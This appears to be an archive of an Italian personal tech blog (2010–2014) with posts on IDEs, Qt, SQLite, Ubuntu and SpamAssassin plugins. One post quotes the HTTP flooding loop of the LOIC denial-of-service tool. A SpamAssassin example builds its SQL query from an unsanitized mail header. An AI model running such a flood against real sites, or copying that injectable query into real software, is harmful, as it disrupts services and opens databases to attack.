venerdì 31 gennaio 2014

Pycharm, l'IDE che fa al caso mio!

Come a molti geek/hax0r/nerd/devs/ecc. piace anche a me senrimi old school utilizzando strumenti rozzi (ma infinitamente leggeri e flessibili) per sviluppare (chi ha nominato vi?). Va detto però che quando il progetto si fa serio, modulare ed esteso bisogna appoggiarsi a strumenti che aiutino a semplificare almeno la gestione dei vari componenti. Su Windows Visual Studio è praticamente il padrone indiscusso del settore IDE. Per quanto riguarda l'offerta open source si hanno molte più scelte ma non sempre i tool soddisfano ogni nostra più piccola esigenza.


Se quando mi trovo a sviluppare applicazioni C++ basate e non sul framework Qt non ho dubbi ed utilizzo QtCreator, nelle varie occasioni in cui ho sviluppato con Python non sono mai stato a mio agio ne con Eclipse, ne con il mastodontico NetBeans e neppure con lo scarno IDLE.

Recentemente ho effettuato la ricerca canonica di chi non sa dove picciare la testa e ho digitato su google "best python ide". Finalmente questa volta Google mi ha dato la risposta che cercavo portandomi sulla pagina che cercavo da anni: http://www.jetbrains.com/pycharm/

PyCharm è un integrated development environment che permette di sviluppare in modo molto agevole in python. Permette la gestione di progetti ed è integrato con i principali tool di versioning (chi ha detto Git?).

Ciò che mi ha colpito principalmente di PyCharm è la velocità con cui permette l'editing del testo. Pur basandosi su una JVM non soffre dei fastidiosissimi lag della gui di cui possono "vantarsi" altri IDE come Eclipse e soprattutto NetBeans. Permette di effettuare debug delle applicazioni in modo molto comodo fornendo uno snapshot dell'applicazione al breakpoint corrente e includendo tutte le informazioni che della VM python.
Utilizzandolo sempre più spesso ho anche potuto apprezzare il supporto al linguaggio C e HTML ed XML in generale.

Sul sito ufficiale viene rilasciato in due versioni: la community edition, che è gratis e che ha funzioni minime per la programmazione in python, e la versione professional che ha un supporto esteso anche ad altri framework e ad altri linguaggi.

Per il mio utilizzo minimo la community edition soddisfa appieno le mie esigenze e consiglio a tutti coloro che vogliono sviluppare in Python ma non hanno ancora trovato lo strumento che fa al caso loro.

E voi quale IDE usate per sviluppare in python?

sabato 29 giugno 2013

Qt: trucco per versionare applicazioni e librerie

Ciao a tutti. Recentemente sono stato impegnato da un piccolo problema durante la finalizzazione di un'applicazione. Il problema da risolvere era creare un widget che riportasse la versione all'utente nella sezione "About". Il mio obiettivo era utilizzare un unico file che contensse la definizione della versione corrente, sia da far comparire nel widget sia per generare le librerie lib*.so.maj.min.patch. La mia soluzione è stata aggirare il compilatore c++ e il sistema di pre-build qmake con un semplice trucco. Per prima cosa riportiamo il file Version.h:
#ifndef VERSION_H_
#define VERSION_H_

#define BUILD_VERSION_NUMBER
#ifdef BUILD_VERSION_NUMBER

#define MY_MAJOR_VERSION 1
#define MY_MINOR_VERSION 2
#define MY_PATCH_VERSION 3

#define OTHER_INTERESTING_DEFINES 0

#else

MY_MAJOR_VERSION = 1
MY_MINOR_VERSION = 2
MY_PATCH_VERSION = 3

#endif

Già da questa porzione di codice si capisce qual'è stato il trucco. Il pre-compilatore esclude le righe che darebbero un errore di compilazione in c++ grazie alla definizione on-the-fly di "BUILD_VERSION_NUMBER". Il sistema di pre-build qmake consente di inserire negli script "Project" commenti se questi sono preceduti dal carattere '#'. A questo punto il file Version.h viene incluso nella classe del widget che, così facendo, potrà utilizzare le define MY_MAYOR_VERSION, MY_MINOR_VERSION, MY_PATCH_VERSION. Successivamente il file Version.h viene incluso anche dal file *.pro che dovrà contenere la seguente porzione di codice:
include ( Version.h )

VER_MAJ      = $${MY_MAJOR_VERSION}
VER_MIN      = $${MY_MINOR_VERSION}
VER_PAT      = $${MY_PATCH_VERSION}
Le variabili VER_MAJ, VER_MIN e VER_PAT vengono poi usate da qmake per numerare le librerie. Chiudo questo breve articolo con una domanda: c'è un modo migliore per fare questo? La mia risposta è: "probabilmente si, ma mi sono divertito molto a trovare questa soluzione!"

sabato 12 gennaio 2013

Maude and gEdit: syntax hightlight

Scrivendo la mia tesi specialistica, di cui sicuramente avrò modo di parlare anche qui più avanti (in particolare quando sarà ad un punto stabile e coerente) ho dovuto analizzare e scrivere file scritti in un linguaggio di rewrite logic chiamato maude.

Per chi fosse curioso esiste un pacchetto già pronto da scaricare su ubuntu: sudo apt-get install maude per tutti gli altri c'è il tar.gz a questo indirizzo. Purtroppo gedit non supporta da solo questo linguaggio quindi vi lascio il primo draft del syntax highlight. Per installarlo bisogna scaricare i due file
maude.lang
maude.xml

maude.lang va posizionato all'interno della cartella:
"~/.local/share/gtksourceview3.0/language-specs"

maude.xml va posizionato all'interno della cartella:
"~/.local/share/mime/packages"

A questo punto bisogna posizionarsi sulla cartella ~/.local/share con un terminale e dare il comando
"update-mime-database mime"

Questi due file sono una prima versione che aggiornerò sicuramente più avanti per dare una colorazione agli statement più usati.

Ogni consiglio è gradito ;)

mercoledì 19 settembre 2012

Samsung e Apple vs il resto del mondo

Cerchiamo di guardare a quello che è stato il processo più importante degli ultimi anni con un occhio critico. Gli articoli che hanno parlato della notizia su internet e sulla carta stampata sono stati molti e hanno analizzato l'intera faccenda sia dal punto di vista di apple sia dal punto di vista di samsung.
Nessuno però ad oggi si è fermato ad osservare questo processo dal punto di vista dei consumatori. La causa che apple ha mosso a samsung riguarda dei presunti brevetti violati ci riguardano non solo caratteristiche del software presente dentro i terminali ma delle caratteristiche estetiche del telefonino. Dal punto di vista del consumatore questo tipo di causa fa capire come le aziende considerino le persone semplicemente degli animali da acquisto, incapaci di documentarsi sulle varie caratteristiche dei prodotti, e di distinguere una cosa da un'altra.
Il mercato degli smartphone non è più quello di 5 anni fa nel quale iphone dominava incontrastato e introduceva una delle novità importanti dal punto di vista della telefonia mobile degli ultimi 10 anni. Terminali che sono in grado di fare tutto ciò che ha sempre saputo fare meglio iPhone  ne sono usciti moltissimi. I complimenti vanno fatti a apple che con un solo modello per i il proprio sistema operativo riesce a controllare un 50 per cento del mercato. Tuttavia i consumatori non solo riescono a distinguere la differenza che intercorre fra un telefonino iPhone è un qualsiasi terminale android, ma sono in grado anche di scegliere fra diversi tipi di terminali android.
Il secondo punto che volevo analizzare riguarda quella che io considero una presa in giro dei consumatori da parte di apple e samsung messe insieme. Queste cause miliardarie non solo nuocciono a chi le perderà, ma coinvolgono anche gli altri competitor sul mercato e i consumatori. I primi dovranno stare attenti a non violare alcun brevetto, oppure regolarizzare la propria posizione, per non incorrere in cause analoghe.
I secondi ovviamente vedranno un aumento dei prezzi generale dovuto alla mancanza di concorrenza sul mercato.

Voglio spendere ancora due parole su quello che considero un regolamento scandaloso. Mi rivolgo al sistema di brevettazione delle idee e del software che ancora oggi è in vigore negli stati uniti d'america.

martedì 24 gennaio 2012

Megaupload e la solita storia

Quando succede qualcosa come la chiusura di megaupload non ci si può limitare a guardare il dito.

È stato chiuso un sito di hosting, forse uno dei migliori, perchè le persone caricavano e condividevano file coperti dal diritto d'autore. Oramai il mio punto di vista è chiaro su questi argomenti. Tutte le volte le autorità ci cascano e si accaniscono sui mezzi. Con lo stesso principio potrebbero essere rimosse dal mercato le automobili visto che, se guidate da persone ubriache o drogate, possono causare danni e morti.

Dall'altra parte voglio leggere la reazione di Anonymous come una difesa del diritto di utilizzare un servizio cloud. Arriviamo dunque al punto di quest'articolo: Tool used in Anonymous Megaupload campaign.
Il tool di cui parla l'articolo è un flooder scritto in C# che può essere clonato da git://github.com/NewEraCracker/LOIC.git. Vi post qua sotto la parte principale nella quale si vede come si sviluppa il flood. Niente di complicato.
Ottima la richiesta http completamente configurabile che viene inserito nel buffer in uscita dalla prima riga.
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
        IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
        while (IsFlooding)
        {
          State = ReqState.Ready; // SET STATE TO READY //
          LastAction = Tick();
          byte[] recvBuf = new byte[64];
          Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
          State = ReqState.Connecting; // SET STATE TO CONNECTING //

          try { socket.Connect(RHost); }
          catch { continue; }

          socket.Blocking = Resp;
          State = ReqState.Requesting; // SET STATE TO REQUESTING //
          socket.Send(buf, SocketFlags.None);
          State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++

          if (Resp)
            socket.Receive(recvBuf, 64, SocketFlags.None);

          State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
          tTimepoll.Stop();
          tTimepoll.Start();

          if (Delay >= 0)
            System.Threading.Thread.Sleep(Delay+1);


Un'osservazione interessante da fare è la facilità con la quale chiunque può flooddare un sito e contribuire a questo tipo di rappresaglie. Ma ecco anche come viene meno la filosofia iniziale del movimento nel momento in cui all'interno dell'insieme "chiunque" finisce solo chi ha voglia di rompere e trollare. Buona lettura / studio ;)

giovedì 22 settembre 2011

Ubuntu Developer - Un portale tante idee

Inizio questo mio post dopo un'assenza piuttosto lunga dichiarando subito che quanto stiamo per analizzare non è nulla di incredibilmente nuovo. Recentemente ha attirato la mia attenzione un progetto di ubuntu: Ubuntu Developer Portal.

L'idea che sta alla base di questo nuovo progetto targato Canonical non è niente di innovativo: un portale dove raccogliere app. Soprattutto con l'avvento degli smart phone, questo tipo di "magazzini" è diventato di moda.

 Ciò che contraddistingue questa nuova piattaforma, dalla quale sinceramente mi aspetto molto, è la stretta relazione che ha con uno dei sistemi operativi open source più diffusi. In questo momento il sito propone solo un'anteprima di quello che sarà il servizio ma già abbiamo materiale a sufficenza per un'analisi preliminare. Nella pagina "Create" viene pubblicizzato uno strumento che assiste lo sviluppatore novizio nella creazione e distribuzione di un'applicazione per Ubuntu.

Sono venuto così a conoscenza (ammetto di non averlo mai visto prima) di un tool, Quickly, che permette di creare applicazioni in python con interfaccia grafica il tutto dando alcuni comandi da terminale e con una guida in linea piuttosto utile e ben scritta. Il lato negativo di questo abbassamento del livello di difficoltà sarà sencondo me un ancora maggiore moltiplicarsi di applicazioni che hanno il medesimo scopo. Rimane comunque uno strumento a cui dare un'occhiata nel proprio tempo libero.

 La prima perplessità è l'utilizzo del solo launchpad per l'hosting del codice. Una mossa scontata da parte di Canonical, dalla quale avrei però voluto la possibilità di scegliere altri tipi di controllo di versione, fra cui ovviamente GIT. Questo è ancora un punto a favore del portale GitHub.
 La seconda riguarda la pubblicazione di applicazioni a pagamento. Penso di non essere l'unico a sostenere tramite paypal sviluppatori open source e Canonical in primis per il lavoro svolto, ma quest'opera che tende ad assomigliare ad Apple mi lascia un certo amaro in bocca. Le applicazioni, principalmente scritte in python (e non perchè è un linguaggio che mi è simpatico ma perchè lo stesso Quickly lo propone come linguaggio di sviluppo) con il codice sorgente a disposizione su launchpad, potranno sicuramente essere reimpacchettate e distribuite gratuitamente con tutta la disputa che ne uscirà. Dall'altro lato la possibilità di pubblicare direttamente sull'Ubuntu Software Center sarà perfetta per far conoscere applicazioni utilissime che altrimenti sarebbero rimaste nell'ombra.

 Concludendo: questo portale riprende il concetto di application store e lo lega ad Ubuntu. L'idea è ottima ma gradirei non vedere i soliti autogol che si fa Canonical per imitare Apple. ;)

domenica 6 marzo 2011

Cognitive Radio - Uno sguardo approfondito

Volevo sottoporre a tutti quelli che passeranno per questa pagina un argomento interessante che è stato oggetto di una ricerca per un esame universitario: Cognitive Radio Networks.

Ho scritto un veloce paper su che cosa rappresentano le Cognitive Radio per lo sviluppo delle comunicazioni e quali problemi di sicurezza possano portare con se.
Mi piacerebbe che da questa piccola introduzione nascesse un dibattito per approfondire e suggerire eventuali soluzioni.

Link al paper

All'interno del paper si fa anche un costante riferimento al Nokia Reseach che si è occupata di vedere dove è possibile impiegare con successo questa nuova tecnologia.
È possibile anche vedere il video prodotto su YouTube che metto qua sotto per chi fosse interessato.

giovedì 20 gennaio 2011

Java and performance, non è impossibile con gcj

Java è un buon linguaggio. Molto diffuso e ricco di documentazione e librerie.
La Java VM è molto lenta. Molto lenta. Mooooooooolto lenta.
Sono venuto così a contatto con gcj ovvero gcc per Java. Questo compilatore produce un file eseguibile esattamente come per C/C++.

A questo punto viene spontaneo fare un piccolo test di performance. Premetto che il test proposto non ha valenza assoluta.

Compiliamo questa classe.
public class MiaClass
{
public MiaClass()
{
}

public void print()
{
long startTime = System.currentTimeMillis();

callOperationToTime();

long endTime = System.currentTimeMillis();

long totalTime = endTime - startTime;

System.out.println("Time: " + totalTime);
}

private void callOperationToTime()
{
for(int i = 0; i < 10000; i++)
{
System.out.println(" ");
}
}
}

e successivamente richiamiamola da un semplice "main".

public class HelloWorld {

public static void main(String[] args) {
MiaClass c = new MiaClass();
c.print();
}

}


Questo codice compilato con gcj esegue le operazioni in 75ms mentre lanciato con la Java VM i millisecondi salgono a 291.

La mia macchina è un P8400 e Ubuntu 10.04.

domenica 9 gennaio 2011

"Un web ingarbugliato"

Il primo The Economist del 2011 ha al suo interno un articolo molto interessante che si intitola appunto "A tagled web".
Parla della nuova riforma FCC circa la "network neutrality". La network neutrality non riguarda i contenuti della rete ma il mezzo di trasmissione. Negli States è un problema molto sentito anche politicamente per la mancanza di competizione per le offerte di connettività.
Il problema principale è la "pay for priority". Significa che le compagnie potrebbero favorire il traffico di un utente che paga di più rispetto a chi paga una tariffa inferiore. L'articolo descrive la situazione attuale, dopo la riforma, e denuncia come questo problema sia stato elegantemente trascurato. Recita infatti che sono "proibite discriminazioni non ragionevoli" lasciando all'intelligenza dei provider la definizione di "discriminazione ragionevole".

Ciò su cui mi vorrei concentrare però è la situazione italiana e paragonarla a quella statunitense.

Per prima cosa l'articolo dell'Economist mette in rilievo quanto la questione regolamentata dalla FCC sia sentita politicamente e che posizioni tengono i due schieramenti. In Italia il problema della "network neutrality" non è minimamente percepito dalla classe politica. È evidente se si pensa a quanto Telecom sia stata in grado di fare il buono e il cattivo tempo. Chi sta per dire "Fastweb" non lo dica.
Secondo, ma non meno importante, problema è la mancanza di infrastrutture tali da garantire a tutti gli utenti una velocità dignitosa. In alcune zone d'Italia non arriva il segnale ADSL. Questo è solo un reminder perchè il problema è vecchio come internet.

La liberalizzazione delle reti wi-fi nelle piazze è un evento importante ma credo che sia solo un granello dell'immensa spiaggia chiamata "avanzamento tecnologico". Siamo un paese tremendamente indietro anche per quanto riguarda la connettività. Cerchiamo almeno di imparare dagli errori che gli altri stanno facendo con alcuni anni di anticipo rispetto a noi!

giovedì 30 dicembre 2010

Wikileaks a "palle ferme"

Cercherò di esporre il mio punto di vista sulla vicenda Wikileaks ora che tutti si sono un po' calmati.
Ci sono diversi aspetti che mi hanno colpito di questa vicenda.
Il primo è l'accanimento nei confronti di una persona: tale Julian Assange.
Il personaggio che è stato sulla bocca di tutti i politici (anche con pronunce discutibili) è quello raffigurato nella foto accanto con una pettinatura improbabile, oramai domata. Assange è sì il "publisher" di tutto quello che è all'interno del sito Wikileaks ma non è mica il diplomatico americano che si è lasciato sfuggire i documenti pubblicati. In pratica c'è una diga che fa acqua da tutte le parti e viene incolpato il povero contadino che intervistato al telegiornale dice "guardate che fra un po' si rompe tutto". Questo aspetto non deve tenere conto dell'accusa di violenza sessuale che dev'essere discussa in altra sede.
Lo dico subito: secondo me la pubblicazione di questo materiale rientra nella libertà di stampa. Ai posteri l'ardua sentenza.
Il secondo aspetto che mi ha colpito è l'anacronismo delle dichiarazioni dei politici (nessuna smentita sul contenuto, tanto per dire) e dei mezzi atti a contrastare il flusso costante di materiale pubblicato.
Tutti gli stati si sono lanciati in accuse di qua, insulti di là e certe volte deliri. Nessuno però si è reso conto che siamo nel 2010 e che tutta la rete è invasa di informazioni private di tutti. Se nel calderone generale ci finiscono anche i documenti filtrati dalle ambasciate non c'è nulla di cui stupirsi. Il problema, se ce n'è uno a livello informatico, è come sia stato possibile che le politiche di sicurezza statunitensi abbiano lasciato questi enormi buchi e, se ce n'è uno a livello diplomatico, com'è possibile che nessuno prenda le distanze da quanto scritto in questi compromettenti documenti.
Veniamo ora all'aspetto tecnico che più interessa. Come prevedibile non appena è stato bloccato dai dns il nome www.wikileaks.org sono nati una tonnellata di mirror che si rimbalzano le informazioni. Non contiamo ovviamente i servizi p2p ecc. perchè rischiamo di far venire dei mal di testa ai piani alti.
Ovviamente una volta pubblicati su internet i documenti sono stati sottoposti a multipli wget -r per poter essere conservati anche dopo tutte le opere di censura.

Spero veramente che i vertici capiscano che i giorni dei rapporti diplomatici 1.0 sono finiti. Oramai non solo il web ma anche la vita sta diventando 2.0 quindi è bene che tutti i rapporti che si stringono siano trasparenti e privi di giochetti da guerra fredda. Il risultato se no è un sito che colleziona, un hacker che viene incolpato mentre ce ne sono altri 100.000 che continuano a pubblicare e a mantenere viva questa isola di libertà, una marea di cazzate dette da politici disinformati e una brutta figura planetaria.

Regards ;)

domenica 26 settembre 2010

SQLite - Il database da taschino

Avere il supporto di un database all'interno di un'applicazione aiuta ad immagazzinare i dati, a tenerli in ordine ed a consultarli con efficienza.

SQLite (http://www.sqlite.org/) è un database relazionale che sta all'interno delle applicazioni e permette di fare tutto ciò che solitamente richiederebbe una database tradizionale diviso in client e server (leggere MySQL, PostgreeSQL).

Per ora ho provato l'integrazione solo con due linguaggi, C++/Qt4 e Java.

In entrambi i casi i risultati sono stati ottimi e l'integrazione è stata rapidissima.

QT4
Qt4 mette a disposizione una libreria per interagire con il db. Ecco uno stralcio di codice che permette di misurare il tempo di esecuzione di due semplici query.

int main(int argc, char *argv[])
{

QTime t;
t.start();
QSqlDatabase db = QSqlDatabase::addDatabase("QSQLITE");


db.setDatabaseName("qt.db");
db.open();

QSqlQuery * query = new QSqlQuery("insert into T1 values (1,'Insert from program.');",db);

int result = 1;
result = (query->exec()) ? 0 : -1;

query->prepare("SELECT * FROM T1;");
query->exec();

while(query->next())
{
QString line = query->value(0).toString() + ","+query->value(1).toString();
QString deb = "Linea trovata: " + line;
qDebug(deb.toStdString().c_str());

}


int elapsed = t.elapsed();

return elapsed;
}

Facendo girare il programma sul mio laptop il tempo di esecuzione è stato di 3 millisecondi. Un ottimo risultato direi.
Java
Ecco un piccolo esempio di codice Java che fa la stessa cosa.
public static void main(String[] args) throws SQLException {
try {
Class.forName("org.sqlite.JDBC");

Connection conn = DriverManager.getConnection("jdbc:sqlite:test.db");
Statement stat = conn.createStatement();
stat.executeUpdate("insert into T1 values (1,'Insert from program.');");
} catch (ClassNotFoundException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
}

Con il la parte di codice scritta in Java non ho eseguito dei test di performance ma ha garantito una portabilità incredibile visto che il file .jar contiene al suo interno la libreria per interagire con il database.

Questo è solo un primo articolo che vuole fornire lo spunto a tutti quelli che verranno. Spero di essere stato utile.

Alla prossima.

mercoledì 21 luglio 2010

Esplorando il kernel Linux: boot

Cominciando il mio viaggio all'interno del kernel Linux mi sono posto una domanda: come fa Linux a partire?

Ho cercato e trovato online un link molto interessante che voglio condividere: LINK

In questo articolo viene dettagliato il processo di boot del kernel linux in tutte le sue fasi.

Questi passi possono essere ritrovati all'interno del codice sorgente. A questo proposito a questo indirizzo è possibile consultare il codice sorgente on-line molto comodamente e poter riferire ogni singola linea di codice tramite il bookmark che si trova sotto il numero.

Buona lettura.

lunedì 12 luglio 2010

How to install Hping3 from source code

Nella mia nuova Slackbox mancava uno strumento che è oggetto di studio da parte di un corso universitario che seguo:

hping



Mi sono così procurato i sorgenti da http://www.hping.org/ e ho effettuato i soliti comandi:
./configure
make...

ecco che spunta un errore:
libpcap_stuff.c alla linea 61 non riesce a trovare una funzione che si trova nel sorgente net/bpf.h

Installo allora le librerie che vengono riportate in alcuni siti: http://www.tcpdump.org/ e più precisamente la libreria libpcap.

Queste librerie vengono installate facilmente eseguendo:
./configure
make
make install

Il file bpf.h viene però posizionato male.
Dando questi comandi è possibile vedere come il file di nostro interesse si trovi dentro pcap e che la cartella net non è stata creata per niente.
# cd /usr/local/include/
# cd pcap
# ls

Diamo allora i seguenti comandi:
# mkdir ../net
# cp *.h ../net/

Dopo di che posizioniamoci nella directory con i file sorgenti di Hping3 e diamo in sequenza:
./configure
make
make install

Il risultato sarà questo:
root@slackbox:~# hping3
hping3>



Buon divertimento con Hping3.

martedì 29 giugno 2010

How to write Spamassassin plugin - part 2

Come promesso eccoci al secondo e ultimo appuntamento di questa serie.
Precisiamo subito che semplici regole possono essere scritte direttamente all'interno dei file di configurazione. All'interno dei plugin vanno messe regole più complesse o che si basano su dati che cambiano frequentemente.

Per prima cosa bisogna ereditare dalla classe base Plugin
package Mail::SpamAssassin::Plugin::MyPlugin;
use Mail::SpamAssassin::Plugin;
use DBI;
our @ISA = qw(Mail::SpamAssassin::Plugin);

sub new {
my ($class, $mailsa) = @_;

# the usual perlobj boilerplate to create a subclass object
$class = ref($class) || $class;
my $self = $class->SUPER::new($mailsa);
bless ($self, $class);

# add rule
$self->register_eval_rule ("check_myplugin_header");

return $self;
}

1;

In questo modo abbiamo registrato la nuova regola già definita all'interno del file di configurazione.

A questo punto bisogna dare corpo alla nuova regola che vogliamo introdurre nel tool.
Nel frammento di codice sopra abbiamo importanto anche le librerie DBI che ci consentono di interrogare il database con un comodo Object Model.

Facciamo un esempio di implementazione di una regola basata su DB.
sub check_myplugin_header
{

my ($self, $pms) = @_;

# Extract desidered informations from mail header
$head = $pms->get('CustomHeader');

$result = 0;
study;

chomp($head);
$head =~ s/;//;

$dbh = DBI->connect("dbi:mysql:spamassassindb","user","pass");


if(!defined $dbh)
{
die "Connessione al database non riuscita: $DBI::errstrn";
}

$query = "SELECT count(accepted_headers) FROM headers WHERE accepted_headers = $head";

# Insert query into database instructions
$sth = $dbh->prepare($query);

# Database query execution
$sth->execute;

$count = $sth->fetchrow();


if($count eq 0)
{
# Report error
$result = 1;
}

# Disconnect from database
$dbh->disconnect();

return $result;
}

Questo frammento di codice è piuttosto semplice e fa una query al db, tramite DBI, dopo aver bonificato la stringa da passare.
Una cosa sicuramente da notare è il paramtro $pms che consente di accedere a tutti gli headers della mail.
Forniamo allora questo messaggio
From god@heaven.com  Thu Jun 17 21:33:41 2010
Return-Path: <god@heaven.com>
X-Original-To: account@post-server
Delivered-To: account@post-server
Received: from post-server (host [127.0.0.1])
by post-server (Postfix) with SMTP id B66E9424F5
for <account@post-server>; Thu, 30 Jun 2010 21:33:20 +0200 (CEST)
CustomHeader:blablabla
Subject:Try this

Simple mail to test my plugin.

a spamassassin e avremo due comportamenti diversi:
  • Se la stringa "blablabla" è contenuta nel database la regola non andrà ad aggiungere i punti definiti nel file di configurazione (2.0 dal post precedente)
  • Se la stringa "blablabla" non è contenuta allora la regola avrà un hit che sommerà 2 punti allo score totale. In questo secondo caso se questo punteggio fa superare la soglia (definita sempre nei vari file di configurazione) allora il messaggio verrà identificato come SPAM!!!


È un argomento piuttosto vasto che richiede tempo per essere assimilato. Questo è solo un input che vuole stimolare interesse. Spero di essere stato chiaro e sono a disposizione per un help in linea, per quanto posso fare.

Have fun ;)

domenica 27 giugno 2010

How to write Spamassassin plugin - part 1

Sono giunto a un buon punto di un progetto per un esame universitario (che verrà pubblicato non appena consegnato) che riguarda un argomento sul quale ho trovato pochissimo materiale.

Si sta parlando della scrittura di un plugin che valuti una regola complessa su un messaggio e-mail, per determinare se si tratta di spam oppure no.

C'è voluto molto tempo per raggiungere qualcosa di funzionante ma ora che ho fra le mani un po' di codice che gira posso scrivere un articolo come questo e colmare la lacuna che il web mi ha mostrato. (I'll translate this article soon for international usage)

Cominciamo con installare tutto quello che serve (a parte una VM con sopra Ubuntu): Documentazione Ubuntu - Mail Server

A questo punto il plugin ha bisogno di due cose:
  1. Un file di configurazione che permetta di richiamare la regola e le assegni un punteggio.
  2. Una classe Perl che implementi l'interfaccia Plugin e che definisca precisamente la regola che si vuole aggiungere a Spamassassin.


In questa prima parte ci concentreremo sul file di configurazione. Nel prossimo articolo parleremo di come scrivere un .pm che interroghi un database per la valutazione di un header.

Il file di configurazione che bisogna comporre va depositato all'interno della directory di sistema /etc/spamassassin.
Possiamo andare a scriverlo direttamente con il seguente comando:
sudo gedit /etc/spamassassin/25_myplugin.cf

All'interno di questo file andiamo a scrivere due cose. La prima è il collegamento della funzione che andremo a definire nella nostra classe. La seconda è lo score che la regola aggiunge alla valutazione se si verifica la condizione definita.
Il contenuto sarà pressochè il seguente:
# Rule load for MyPlugin
header MY_RULE eval:check_myplugin_header()
score MY_RULE 2.0

Per configurare la nostra personalizzazione manca solo un passaggio: bisogna far caricare a Spamassassin il nostro plugin. Va dunque cambiato un qualunque file *.pre. Apriamo quindi:
sudo gedit /etc/spamassassin/v310.pre

In coda a questo file vanno aggiunte le seguenti righe affinchè il nostro plugin venga caricato a successivo riavvio.
# load MyPlugin
loadplugin Mail::SpamAssassin::Plugin::MyPlugin

Conclusa la configurazione è il momento di scrivere il vero e proprio plugin ma sarà argomento del prossimo post.

Stay tuned ;)

Ah, quasi dimenticavo:
sudo /etc/init.d/postfix
sudo /etc/init.d/spamassassin

lunedì 21 giugno 2010

Google CL: una stupenda notizia!

Avevo già letto qualcosa nei giorni scorsi ma oggi un articolo dell'intramontabile Programmazione.it mi ha dato la certezza: Google ha fornito un set di strumenti da linea di comando per poter interagire tramite shell con i servizi che offre tramite il google-account.

Andando sul sito del progetto, rigorosamente googlecode, si possono individuare subito due cose.

La prima sono gli strumenti che è possibile utilizzare tramite linea di comando:
"We currently support the following Google services:
Blogger
$ google blogger post --title "foo" "command line posting"
Calendar
$ google calendar add "Lunch with Jim at noon tomorrow"
Contacts
$ google contacts list name,email > contacts.csv
Docs
$ google docs edit --title "Shopping list"
Picasa
$ google picasa create --title "Cat Photos" ~/photos/cats/*.jpg
Youtube
$ google youtube post --category Education killer_robots.avi"

Va aggiunto che sulla pagina principale del progetto è possibile anche trovare degli script di esempio che fanno capire meglio le potenzialità di questo strumento.

La seconda cosa che è possibile notare è il codice Python, liberamente consultabile (e ci mancherebbe altro, mi sento di aggiungere), che meglio ci può far comprendere l'utilizzo delle API e la duttilità di questo linguaggio di programmazione.

for i in {ls -l /home/myhome/pictures/} do echo i | google picasa post --title "My Photos"

;)

lunedì 7 giugno 2010

Google I|O: Una fucina di idee!

Ogni anno viene riproposto un evento. No, scusate, ogni anno viene riproposto L'Evento: il Google I|O, dove le menti più brillanti fanno vedere cosa si può fare con le moderne tecnologie a disposizione.



Una cosa in particolare ha catturato la mia attenzione. A questo link è possibile visionare un tech talk di quasi un'ora sul nuovo linguaggio di programmazione (Go-language). Questo talk è tenuto da Russ Cox, papà del linguaggio.

La particolarità di questa presentazione è il fatto che Russ si spinge in dettagli avanzati come la gestione degli oggetti e dei tipi che sicuramente hanno bisogno di chiarimenti da parte di chi ha concepito il linguaggio.

Ma i regali di G. non finiscono qua. Sul blog ufficiale della sezione code di Google è possibile guardare tutti i tech talk fra cui App Engine e Wave.

Buona visione a tutti ;)

martedì 4 maggio 2010

Ubuntu 10.04 prime impressioni

Ho installato Ubuntu 10.04 (mannaggia non mi ricordo mai i nomi in codice delle varie release...) per processori a 64bit e mi trovo davanti a una Ubuntu box installata di fresco.

Dopo 3 upgrade di versione ho preso la decisione di installare questa LTS da zero per avere il nuovo file system ext4 e vedere come va.
Ecco quindi le primissime impressioni di questa release:
  1. Il primo punto va sicuramente dedicato all'interfaccia grafica che è stata decisamente rinnovata e trova in questo rilascio una maturità che fin'ora era mancata. La discutibile scelta di mettere i pulsanti di gestione della finestra sulla sinistra della barra del titolo ha trovato una pronta spiegazione oggi. Sia che il tema scuro che il tema chiaro (molto OSX) danno uno stile moderno e distinto.
  2. È vero non c'è più gimp, il messenger predefinito è empathy ecc ecc ecc ma io le trovo tutte scelte condivisibili e ragionevoli. Gimp si fa in un attimo a installare e Empathy trovo che sia un client buono, da esplorare, ma che mi ha già dato parecchie soddisfazioni.
  3. La velocità complessiva del sistema mi sembra incrementata. L'unica cosa che pesa leggermente di più sulle prestazioni è Compiz. Con Compiz attivo le applicazioni che fanno uso intensivo della scheda grafica, come giochi e grafica 3d, ne risentono e tendono a scattare.
Parliamo invece dell'aria che si respira. Social, Cloud e Web sembrano le tre parole che hanno dettato la stesura di questa release. Oltre allo spostamento dei pulsanti di controllo si trovano di default e facilmente configurabili tutti gli strumenti per instant messaging. Empathy permette di comunicare con tutti i principali canali, da msn a facebook. Gwibber permette di aggiornare i propri contatti di social networking. Evolution da alle mail una nuova veste e rende calendario, mail e contatti integrati perfettamente all'interno del sistema. A tutto questo si unisce il servizio Ubuntu One, che già era presente nella versione 9.10, che garantisce quel tocco di cloud proprio di questi tempi.

Un'unica raccomandazione quindi: Get Ubuntu!

domenica 25 aprile 2010

Nefarious-IDE, un primo passo dell'universo Go

A chi è stato molto attento non è per nulla nuovo, ma oramai mi sembra giunto alla maturità sufficiente per essere presentato a tutti.

Nefarious-IDE è un plug-in per Eclipse che ci permette di avere un IDE per il linguaggio GO che fino ad oggi abbiamo editato all'interno di scarni editor.

Il progetto non si può ancora definire avanzato ma quanto meno usabile. Infatti è già presente quasi tutta la parte di highlight della sintassi e permette di compilare i sorgenti scritti.

Ancora nulla sul versante autocompletamento o almeno suggerimenti ma sono sicuro che sia il primo punto sull'agenda dei dev.

Ecco lo stato di avanzamento delle varie parti:
"Current Features for Development Version: 0.0.12.a (Total Dev Time: 40.2 hrs)
- syntax highlighting (90%)
- compile upon save and mark errors within project (60%) (go compiler required)
- preference integration (70%)
- project configuration (65%)
- editor keyboard shortcuts (10%)
- go source to xml translator tool(65%)
"


Sul sito ufficiale del progetto è possibile trovare l'url da inserire direttamente all'interno di Eclipse per scaricare il plug-in e automaticamente installarlo.

Buon divertimento ;)

martedì 20 aprile 2010

